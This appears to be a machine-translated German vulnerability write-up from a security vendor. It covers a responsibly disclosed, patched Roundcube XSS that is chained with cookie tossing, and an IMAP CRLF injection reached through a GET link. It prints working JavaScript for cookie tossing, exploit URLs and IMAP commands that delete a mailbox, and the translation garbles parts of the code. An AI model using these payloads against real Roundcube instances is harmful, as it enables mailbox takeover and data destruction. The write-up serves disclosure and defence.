Aikido

Roundcube-XSS in Kombination mit Cookie-Manipulation für vollständigen Zugriff auf den Posteingang

Verfasst von
Jorian Woltjer

Roundcube ist der weltweit am häufigsten eingesetzte Open-Source-Webmail-Client. Wir haben kürzlich eine gefährliche Sicherheitslücke in der Anwendung entdeckt! Es handelt sich um einen „Stored XSS“, der in Verbindung mit einer Cookie-Tossing-Technik einem Angreifer vollständigen Zugriff auf den Posteingang des Opfers und von dort aus auf jedes Konto gewährt, das diese E-Mail-Adresse zur Authentifizierung oder Passwortwiederherstellung verwendet.

Wir haben dies durch die Durchführung unserer KI-Penetrationstests Agenten gegen eine lokale Roundcube-Instanz laufen ließen. Alle Ergebnisse wurden verantwortungsbewusst über HackerOne an Nextcloud, die Betreuer von Roundcube, gemeldet (XSS unter #3594137 offengelegt) und in Version 1.6.14 behoben. 

In diesem Beitrag werden wir erläutern, was wir getan haben, wie unsere Mitarbeiter die Sicherheitslücke entdeckt haben und wie eine einfache HTML-Injektion den Posteingang eines Nutzers vollständig kompromittieren konnte.

Die Injektionsstelle

Jeder Angriff hat einen Ausgangspunkt. Schauen wir uns einen an, den einer unserer Mitarbeiter zur Überprüfung aufgegriffen hat.

Roundcube behandelt benutzergesteuerte Inhalte auf verschiedene Weise. E-Mail-Texte werden am strengsten geprüft. Diese werden umfassend bereinigt, da sie direkt in der Anwendung angezeigt werden.

HTML-Anhänge werden über einen separaten Endpunkt in mail/get.php dargestellt, wobei die Content Security Policy auf „script-src 'none'“ gesetzt ist, um die Ausführung von JavaScript zu blockieren.

Ein dritter, eher versteckter Endpunkt verarbeitet Inline-Anhänge, die noch nicht versendet wurden und während des Verfassens einer E-Mail vorübergehend angezeigt werden können. Dies ist der Endpunkt, mit dem wir uns befassen werden. Die Aktion „display-attachment“ verarbeitet diese Art von Anfragen:

class rcmail_action_mail_attachment_display extends rcmail_action_mail_attachment_upload {
    ...
    public function run($args = []) {
        self::init();

        $rcmail = rcmail::get_instance();
        $file = $rcmail->get_uploaded_file(self::$file_id);

        self::display_uploaded_file($file);

Die Funktion self::display_uploaded_file() dort geschieht das Wunderbare. Denn rcube_uploads.php Wie sich zeigt, werden solche Anhänge direkt mit ihrem ursprünglichen Inhaltstyp und Textkörper zurückgegeben, ohne dass eine Bereinigung, Sandboxing oder die Anwendung einer Content Security Policy erfolgt.

header('Content-Type: ' . $file['mimetype']);
header('Content-Length: ' . $file['size']);

if (isset($file['data']) && is_string($file['data'])) {
    echo $file['data'];
} elseif (!empty($file['path'])) {
    readfile($file['path']);
}

Sie fragen sich vielleicht, wie wir dieses Ziel erreichen? Wenn Sie in Roundcube eine neue E-Mail verfassen, können Sie der temporären E-Mail eine Datei anhängen, genauer gesagt eine HTML-Datei. Wir versehen diese mit schädlichem Inhalt:

<script>alert(origin)</script>

Nach dem Hochladen öffnet sich beim Klicken auf den Anhang ein Popup-Fenster, in dem dieser mithilfe der „get“-Aktion dargestellt wird, geschützt durch eine strenge CSP. Das ist der sichere Weg. Interessant ist jedoch, was passiert, wenn man swap _action=get gegen _action=Anhang anzeigen:

Screenshot des Erstellungsfensters von Roundcube mit einer angehängten Datei „xss.html“. Ein Popup-Fenster zeigt den über die „get“-Aktion gerenderten Anhang an, wobei der Bereich, in dem das Skript ausgeführt würde, leer bleibt, da es durch die Content Security Policy blockiert wird.
Wird der Anhang über die Aktion „get“ aufgerufen, wird er in einem Popup-Fenster in einer Sandbox mit strengen CSP-Einstellungen angezeigt, wodurch die Ausführung von Skripten blockiert wird.

Nimm die ursprüngliche URL für diese Anzeige:

/?_task=mail&_frame=1&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=get&_extwin=1

Tauschen _action=get gegen _action=Anhang anzeigen und wenn man einige überflüssige Parameter weglässt, erhält man:

/?_task=mail&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=display-attachment

Diese URL zeigt denselben Inhalt an, jedoch ohne die CSP! Daher wird das JavaScript in unserem HTML-Code ausgeführt, wodurch die aktuelle Herkunft angezeigt und XSS bestätigt wird:

Der Screenshot zeigt ein Popup-Fenster mit dem Angriff und dem Text „mail.target.local:19002 sagt: http://mail.target.local:19002“
Der Angriff funktioniert!

Das ist zwar ein interessanter Fall von Self-XSS, aber ist das wirklich ein Problem? Wenn wir realistisch bleiben, wird ein normaler Nutzer unsere XSS-Payload nicht von sich aus hochladen und sie dann auf diese besondere Weise anzeigen…

Ein Blick auf attachment_upload.php, wirst du feststellen, dass ein Daten_erstellen_ Für Ihren aktuellen Benutzer muss ein Sitzungsschlüssel festgelegt sein, und nur dieser Benutzer kann den Anhang abrufen.

public static function init()
{
    self::$COMPOSE_ID = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GPC);
    self::$COMPOSE = null;
    self::$SESSION_KEY = 'compose_data_' . self::$COMPOSE_ID;

    if (self::$COMPOSE_ID && !empty($_SESSION[self::$SESSION_KEY])) {
        self::$COMPOSE = &$_SESSION[self::$SESSION_KEY];
    }

    if (!self::$COMPOSE) {
        exit('Invalid session var!');

Da es sich hierbei um eine temporäre Verbindung handelt, die ausschließlich an Ihre aktuelle Sitzung gebunden ist, gibt es keine Möglichkeit, eine Schadcode-Nutzung vorzubereiten und das Opfer dazu zu bringen, diese durch die Anmeldung im Konto des Angreifers auszulösen, wie wir es bei Mailcow. Der gesamte roundcube_sessid Das Cookie müsste auf das Gerät des Opfers kopiert werden. Eine weitere Aufgabe, die unmöglich klingt.

Ausnutzen von Self-XSS durch Cookie-Tossing

Das von uns entdeckte Self-XSS-Loch scheint auf den ersten Blick nicht ausnutzbar zu sein. Der Anhang ist an die Sitzung gebunden, sodass es keine Möglichkeit gibt, eine Payload für ein Opfer vorzubereiten, ohne ihm gleichzeitig das Sitzungs-Cookie des Angreifers zu übergeben. Doch damit ist das Problem noch nicht gelöst. Hier kommt das sogenannte „Cookie Tossing“ ins Spiel.

In Browsern weisen Cookies einige interessante Eigenheiten auf, darunter die Domäne=Attribut.

> Als Wert kann nur die aktuelle Domain oder eine übergeordnete Domain festgelegt werden, es sei denn, es handelt sich um ein öffentliches Suffix. Durch die Festlegung der Domain wird das Cookie sowohl für diese als auch für alle ihre Subdomains verfügbar.

Cookies können nicht nur für die aktuelle Domain, sondern auch für eine übergeordnete Domain gesetzt werden. Ein Cookie, das von sub.example.com mit Domain=example.com wird für jede Subdomain unter example.com, darunter solche wie other.example.com das hatte nichts mit der Einstellung zu tun. Diese Art von Angriff wird als Kekswerfen, wobei eine Subdomain Cookies setzt, die von einer anderen Subdomain gelesen werden.

Das bedeutet, dass wir zur Ausnutzung unserer Schwachstelle lediglich Folgendes benötigen: Kontrolle über eine Subdomain auf derselben Domain wie die Roundcube-Zieldomain. Von dort aus führt eine separate XSS-Sicherheitslücke auf einer Seite wie xss.target.local kann die document.cookie Eigenschaft zum Schreiben von Cookies mit der Domain=target.local Attribut. Sobald diese Cookies gesetzt sind, sendet der Browser des Opfers sie an mail.target.local weiter, wo Roundcube die Sitzung des Angreifers anstelle derjenigen des Opfers lädt.

In dieser Sitzung steht der schädliche HTML-Anhang bereits bereit. Wird das Opfer auf die URL des Anhangs weitergeleitet, wird die XSS-Payload innerhalb der Roundcube-Domäne im Browser des Opfers ausgelöst, ohne dass eine weitere Interaktion erforderlich ist.

Zusammenfassend lässt sich sagen, dass ein Angreifer Folgendes tun muss, um diese Schwachstelle auszunutzen:

  1. sich in ihr eigenes Konto einloggen, eine neue E-Mail erstellen und eine schädliche HTML-Datei anhängen
  2. Kopiere den Link, um den Anhang und die Cookies anzuzeigen (zu laden)
  3. Legen Sie die Cookie-Werte über eine für XSS anfällige Subdomain fest, indem Sie document.cookie mit dem Domäne=Attribut, das auf die Zieldomäne verweist.
  4. Leite das Opfer auf den Link zum Anhang weiter. Der XSS-Angriff wird im Roundcube-Ursprungsserver ausgelöst.

So sieht die XSS-Nutzlast für die Subdomain in der Praxis aus: Dabei werden die Sitzungscookies gesetzt und das Opfer auf die URL des Anhangs weitergeleitet

Dokument.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local'
location.href = 'http://mail.target.local/?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';

Abgesehen von der Subdomain XSS erfordert der weitere Ablauf des Roundcube-Exploits keine weitere Benutzerinteraktion. Die gesamte Sicherheit von Roundcube hängt nun von jeder Subdomain derselben Website ab.

Screenshot der lokalen Instanz und des Pop-ups, das aus dem Angriffscode stammt

Voller Zugriff

Das Warn-Popup im obigen Screenshot bestätigt, dass auf dem Ursprungsserver von Roundcube ein XSS-Angriff ausgeführt wird, zeigt jedoch für sich genommen keine konkreten Auswirkungen. Es gibt also immer noch ein Problem. Zu diesem Zeitpunkt haben wir die Sitzung des Angreifers in den Browser des Opfers geladen, sodass alle durchgeführten Aktionen über das Konto des Angreifers und nicht über das des Opfers erfolgen. Das ist ideal, um unsere Payload zu übermitteln, aber nicht so ideal, um auf Dinge zuzugreifen, auf die wir normalerweise keinen Zugriff hätten.

Wenn man sich den Browser ansieht, werden Cookies eigentlich gar nicht ersetzt wenn wir eine andere Domäne=. Beide sind verschickt!

Cookie: roundcube_sessauth=OPFER; roundcube_sessauth=ANGREIFER

Wenn beide Cookies vorhanden sind, wählt der Server das des Angreifers aus, da es im Header an letzter Stelle steht. Bei der XSS-Payload möchten wir, dass die Cookies des Angreifers ausgewählt werden, während wir bei allen nachfolgenden Endpunkten die Cookies des Opfers wünschen. Glücklicherweise verfügen Cookies über ein weiteres Attribut, das dieses Problem perfekt löst: Pfad=.

Indem Sie einen eindeutigen Pfad festlegen, wie zum Beispiel Pfad=/index.php/xss, die weiterhin auf die Startseite verweist, werden die Cookies nur versendet werden wenn dieser Pfad mit dem Ziel der Anfrage übereinstimmt. Für unsere Anfragen gilt also:

  1. /index.php/xss sendet roundcube_sessauth=OPFER; roundcube_sessauth=ANGREIFER -> Die Nutzlast des Angreifers wird zurückgegeben
  2. / sendet roundcube_sessauth=OPFER -> Die E-Mails des Opfers werden zurückgeschickt

Wir müssen lediglich den JavaScript-Exploit so anpassen, dass dieses neue Attribut gesetzt wird, und dann zu /index.php/xss Anschließend muss sichergestellt werden, dass die Cookies des Angreifers in dieser Anfrage für unsere Nutzlast mitgesendet werden; danach hat unser XSS jedoch freien Zugriff auf das Konto des Opfers.

Dokument.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local; Path=/index.php/xss'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local; Path=/index.php/xss'
location.href = 'http://mail.target.local/index.php/xss?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';

In den DevTools können wir sehen, wie die doppelten Cookies nun eingerichtet sind:

Screenshot der Registerkarte „Anwendung“ in den Chrome DevTools, auf der vier Cookies für mail.target.local angezeigt werden. Zwei davon gelten für den Pfad /index.php/xss auf .target.local (die Cookies des Angreifers), und zwei gelten für den Stammpfad auf mail.target.local (die Cookies des Opfers).

Zwar sind die Voraussetzungen für einen erfolgreichen Angriff (Konto bei Roundcube + XSS in einer Subdomain) etwas knifflig, doch die potenziellen Folgen eines erfolgreichen Angriffs sind enorm.

E-Mails sind die am meisten genutzte und vertrauenswürdigste Form der Authentifizierung, da viele Websites für die Anmeldung oder die Passwortwiederherstellung auf „magische Links“ zurückgreifen. Wenn ein Angreifer Zugriff auf Ihre E-Mails hat, kann er solche Passwortzurücksetzungen auf allen Websites auslösen, bei denen diese E-Mail-Adresse hinterlegt ist. Anschließend kann er die Bestätigungs-E-Mail lesen, die der jeweilige Dienst versendet, und so Zugriff auf viele weitere Konten erlangen.

Behebung

Aktualisieren Sie Roundcube auf Version 1.6.14 oder höher (1.6.x) bzw. auf 1.5.14 oder höher (1.5.x LTS). Alle gemeldeten Sicherheitslücken wurden in dieser Version behoben. Wenn Sie Aikido verwenden, werden anfällige Roundcube-Instanzen in Ihrem Surface-Monitoring-Feed automatisch als „mittlerer Befund“ gekennzeichnet.

Aikido nicht bei Aikido registriert? Erstelle ein kostenloses Konto, um loszulegen – keine Kreditkarte erforderlich.

Fazit

Obwohl es zunächst wie eine harmlose XSS-Sicherheitslücke aussah, erforderte deren Ausnutzung etwas mehr Wissen über Cookies und Sitzungen. Subdomains derselben Website erhalten vom Browser oft etwas mehr Berechtigungen als völlig separate Websites – ein weiterer Grund, dafür zu sorgen, dass alle Ihre Ressourcen sicher sind.

Das ist eine schwierige Aufgabe, aber wie hier gezeigt, kann Aikido Webanwendungen selbstständig auf Sicherheitslücken überprüfen, um solche Schwachstellen in Ihrer gesamten Infrastruktur aufzuspüren.

Die Betreuer von Roundcube hat diese Sicherheitslücke behoben in Version 1.6.14 durch Hinzufügen eines script-src 'none' Die Content Security Policy, genau wie bei den übrigen Anhängen bereits der Fall. Dadurch wird die Ausführung von JavaScript bei der Rückgabe von beliebigem HTML verhindert.

Bonus: IMAP-CRLF-Injektion über CSRF

Im Rahmen desselben Penetrationstests entdeckte ein anderer Tester eine zweite Schwachstelle, die wir besonders interessant fanden. Nach der Meldung stellte sich heraus, dass es sich um einen Doppelbefund handelte, den auch das Martila Security Research Team entdeckt hatte. Dennoch hielten wir es für interessant genug, die Details dieser Schwachstelle hier kurz zu erläutern.

Der /?_task=mail&_action=search endpoint übergibt die vom Client bereitgestellten _filter Parameter direkt in den IMAP SUCHEN Befehl in rcube_imap_generic.php:

if (!empty($criteria)) {
    $params .= ($params ? ' ' : '') . $criteria;
} else {
    $params .= 'ALL';
}
[$code, $response] = $this->execute($return_uid ? 'UID SEARCH' : 'SEARCH', [$params]);

Obwohl die Funktion den Befehl scheinbar von seinen Argumenten trennt, die Umsetzung von execute() fügt sie einfach ohne Bereinigung aneinander:

foreach ($arguments as $arg) {
    $query .= ' ' . self::r_implode($arg);
}

Durch Einfügen eines Wagenrücklaufs und Zeilenvorschubs (CRLF, %0D%0A) Zeichen kann ein Angreifer die SEARCH-Parameter umgehen und zusätzliche IMAP-Befehle in die IMAP-Sitzung des authentifizierten Benutzers einschleusen.

Damit können Sie nicht nur E-Mails suchen, sondern auch Ordner hinzufügen, E-Mails verschieben oder den gesamten Posteingang löschen, da es sich hierbei um reine IMAP-Befehle handelt.

Nachfolgend finden Sie ein Beispiel für einen Filter, der auf ALL%0D%0AX007%20CREATE%20EvilFolder:

http://mail.target.tld/?_task=mail&_action=search&_interval=&_q=imap-inject-test&_headers=subject%2Cfrom&_layout=widescreen&_filter=ALL%0D%0AX007%20CREATE%20EvilFolder&_scope=base&_mbox=INBOX&_remote=1 

Beim Aufruf werden die folgenden Daten an IMAP gesendet, zusammen mit dem eingefügten CREATE-Befehl, der nach der Suche ausgeführt wird:

X006 ALLES SUCHEN
X007 EvilFolder ERSTELLEN

Die Auswirkungen davon sind dann in der Roundcube-Benutzeroberfläche zu sehen:

Die Roundcube-Benutzeroberfläche auf der Registerkarte „Ordner“, mit „EvilFolder“ unten

Da es sich um eine einfache GET-Anfrage handelt, reicht ein Besuch des oben genannten Links aus, um die Befehle auszuführen. Damit könnten durch einen einzigen Klick auf einen Link alle E-Mails dauerhaft gelöscht werden (X001 UID-Speicher 1:* Flags \Gelöscht gefolgt von X002 LÖSCHEN), was zu einem erheblichen Datenverlust führte.

Diese Sicherheitslücke ist nun gepatcht durch Entfernen \r\n Zeichen aus Suchanfragen.

Teilen:

https://www.aikido.dev/blog/roundcube-xss-cookie-tossing

Heute kostenlos starten.

Kostenlos starten
Ohne Kreditkarte

Abonnieren Sie Bedrohungs-News.

4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.